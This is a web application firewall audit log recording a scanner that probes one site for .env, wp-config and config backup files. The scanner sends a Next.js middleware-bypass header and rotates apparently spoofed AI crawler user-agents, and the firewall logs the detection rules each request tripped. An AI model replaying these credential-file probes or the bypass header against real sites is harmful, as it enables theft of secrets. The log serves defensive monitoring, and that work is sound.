Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZ0p0wu1RSkptiiNIX5xAAAAIk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735437813 99131 (- - -)
Stopwatch2: 1789293735437813 99131; combined=45181, p1=237, p2=30254, p3=0, p4=0, p5=7374, sr=91, sw=0, l=0, gc=7316
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f2038b1e-Z--

--6c6a5b2c-A--
[13/Sep/2026:13:02:15.641049 +0300] aqZ0p2M7dE9KgIIOpQh3cgAAAMI 34.80.249.255 51548 127.0.0.1 7081
--6c6a5b2c-B--
GET /.env.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6c6a5b2c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c6a5b2c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735548896 92228 (- - -)
Stopwatch2: 1789293735548896 92228; combined=32279, p1=241, p2=31968, p3=0, p4=0, p5=70, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c6a5b2c-Z--

--6c10cb4b-A--
[13/Sep/2026:13:02:15.789933 +0300] aqZ0pysVWymXUono-eRVegAAABI 34.80.249.255 51554 127.0.0.1 7081
--6c10cb4b-B--
GET /core/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6c10cb4b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c10cb4b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/core/.env"] [unique_id "aqZ0pysVWymXUono-eRVegAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735711876 78114 (- - -)
Stopwatch2: 1789293735711876 78114; combined=4571, p1=248, p2=4274, p3=0, p4=0, p5=48, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c10cb4b-Z--

--d03b567d-A--
[13/Sep/2026:13:02:15.974059 +0300] aqZ0pzTJ6xTvcJoem7f7gAAAAEY 34.80.249.255 51610 127.0.0.1 7081
--d03b567d-B--
GET /configuration.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d03b567d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d03b567d-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/configuration.php.bak"] [unique_id "aqZ0pzTJ6xTvcJoem7f7gAAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735897175 76939 (- - -)
Stopwatch2: 1789293735897175 76939; combined=5067, p1=238, p2=4773, p3=0, p4=0, p5=56, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d03b567d-Z--

--ce823d02-A--
[13/Sep/2026:13:02:15.974664 +0300] aqZ0p2M7dE9KgIIOpQh3cwAAAMM 34.80.249.255 51582 127.0.0.1 7081
--ce823d02-B--
GET /config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ce823d02-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ce823d02-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config.php.bak"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cwAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735864778 109955 (- - -)
Stopwatch2: 1789293735864778 109955; combined=6253, p1=304, p2=5866, p3=0, p4=0, p5=82, sr=134, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ce823d02-Z--

--2b651b75-A--
[13/Sep/2026:13:02:16.179885 +0300] aqZ0qGM7dE9KgIIOpQh3dQAAANI 34.80.249.255 51634 127.0.0.1 7081
--2b651b75-B--
GET /.env.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2b651b75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2b651b75-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.swp"] [unique_id "aqZ0qGM7dE9KgIIOpQh3dQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736105667 74290 (- - -)
Stopwatch2: 1789293736105667 74290; combined=4790, p1=260, p2=4475, p3=0, p4=0, p5=55, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2b651b75-Z--

--0b662528-A--
[13/Sep/2026:13:02:16.326512 +0300] aqZ0qCsVWymXUono-eRVfAAAAAM 34.80.249.255 51640 127.0.0.1 7081
--0b662528-B--
GET /public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0b662528-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0b662528-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public/.env"] [unique_id "aqZ0qCsVWymXUono-eRVfAAAAAM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736246350 80222 (- - -)
Stopwatch2: 1789293736246350 80222; combined=4659, p1=272, p2=4336, p3=0, p4=0, p5=50, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b662528-Z--

--1bd5ba3c-A--
[13/Sep/2026:13:02:16.384372 +0300] aqZ0qGM7dE9KgIIOpQh3dgAAANE 34.80.249.255 51642 127.0.0.1 7081
--1bd5ba3c-B--
GET /web/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1bd5ba3c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1bd5ba3c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/web/.env"] [unique_id "aqZ0qGM7dE9KgIIOpQh3dgAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736291349 93088 (- - -)
Stopwatch2: 1789293736291349 93088; combined=4163, p1=313, p2=3795, p3=0, p4=0, p5=55, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1bd5ba3c-Z--

--03190841-A--
[13/Sep/2026:13:02:16.485747 +0300] aqZ0qGM7dE9KgIIOpQh3dwAAAMc 34.80.249.255 51652 127.0.0.1 7081
--03190841-B--
GET /storage/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--03190841-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--03190841-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/storage/.env"] [unique_id "aqZ0qGM7dE9KgIIOpQh3dwAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736400874 84930 (- - -)
Stopwatch2: 1789293736400874 84930; combined=5966, p1=282, p2=5632, p3=0, p4=0, p5=51, sr=136, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--03190841-Z--

--d200da2d-A--
[13/Sep/2026:13:02:16.561092 +0300] aqZ0qGM7dE9KgIIOpQh3eAAAAMc 34.80.249.255 51666 127.0.0.1 7081
--d200da2d-B--
GET /wp/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d200da2d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d200da2d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp/.env"] [unique_id "aqZ0qGM7dE9KgIIOpQh3eAAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736489178 71970 (- - -)
Stopwatch2: 1789293736489178 71970; combined=4306, p1=193, p2=4063, p3=0, p4=0, p5=50, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d200da2d-Z--

--71905234-A--
[13/Sep/2026:13:02:16.648016 +0300] aqZ0qCsVWymXUono-eRVfQAAABg 34.80.249.255 51678 127.0.0.1 7081
--71905234-B--
GET /wp-config.php~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--71905234-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--71905234-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736550607 97466 (- - -)
Stopwatch2: 1789293736550607 97466; combined=32388, p1=849, p2=31466, p3=0, p4=0, p5=73, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--71905234-Z--

--a32fd33c-A--
[13/Sep/2026:13:02:17.153195 +0300] aqZ0qDTJ6xTvcJoem7f7gQAAAEo 34.80.249.255 51708 127.0.0.1 7081
--a32fd33c-B--
GET /wp-config.php.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a32fd33c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a32fd33c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
